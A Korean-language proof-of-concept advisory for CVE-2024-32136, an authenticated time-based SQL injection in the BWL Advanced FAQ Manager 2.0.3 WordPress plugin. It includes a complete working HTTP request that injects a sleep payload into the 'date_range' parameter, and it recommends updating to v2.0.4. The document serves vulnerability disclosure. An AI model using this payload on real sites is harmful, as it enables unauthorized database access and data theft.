
CVE-2024-32136에 대한 개념 증명 익스플로잇으로, BWL Advanced FAQ Manager 2.0.3에서 발견된 인증 후 SQL 인젝션 취약점을 통해 'date_range' 매개변수를 이용한 시간 기반 데이터베이스 조작을 시연합니다.
익스플로잇 제목: BWL Advanced FAQ Manager 2.0.3 - 인증 후 SQL 인젝션
날짜: 2024년 4월 14일
익스플로잇 작성자: Ivan Spiridonov (xbz0n)
소프트웨어 링크: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
버전: 2.0.3
테스트 환경: Ubuntu 20.04
CVE: CVE-2024-32136
SQL 인젝션은 공격자가 애플리케이션의 데이터베이스 쿼리를 간섭할 수 있게 하는 보안 취약점 유형입니다. 일반적으로 클라이언트의 입력 데이터를 통해 애플리케이션에 SQL 쿼리를 삽입("인젝션")하는 방식으로 이루어집니다. 성공적인 SQL 인젝션 익스플로잇은 데이터베이스에서 민감한 데이터를 읽거나, 데이터베이스 데이터를 수정(Insert/Update/Delete)하거나, 데이터베이스에 대한 관리 작업(예: DBMS 종료)을 수행하거나, DBMS 파일 시스템에 있는 특정 파일의 내용을 복구하고, 경우에 따라 운영 체제에 명령을 내릴 수 있습니다.
이 취약점은 BWL Advanced FAQ Manager 플러그인의 'bwl-advanced-faq-analytics' 페이지에서 사용되는 'date_range' 매개변수 내에 존재합니다. 인증된 공격자는 이 매개변수에 대한 입력을 조작하여 데이터베이스 내에서 임의의 SQL 명령을 실행할 수 있습니다.
다음 GET 요청은 취약점을 보여줍니다:
GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
Connection: close
Cookie: [관련 쿠키]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
서버 응답이 약 20초 지연되면 시간 기반 SQL 인젝션이 성공적으로 수행되었음을 나타내며, 이는 취약점을 확인합니다.
BWL Advanced FAQ Manager v2.0.3 사용자는 플러그인을 수정된 버전 v2.0.4로 업데이트할 것을 권장합니다.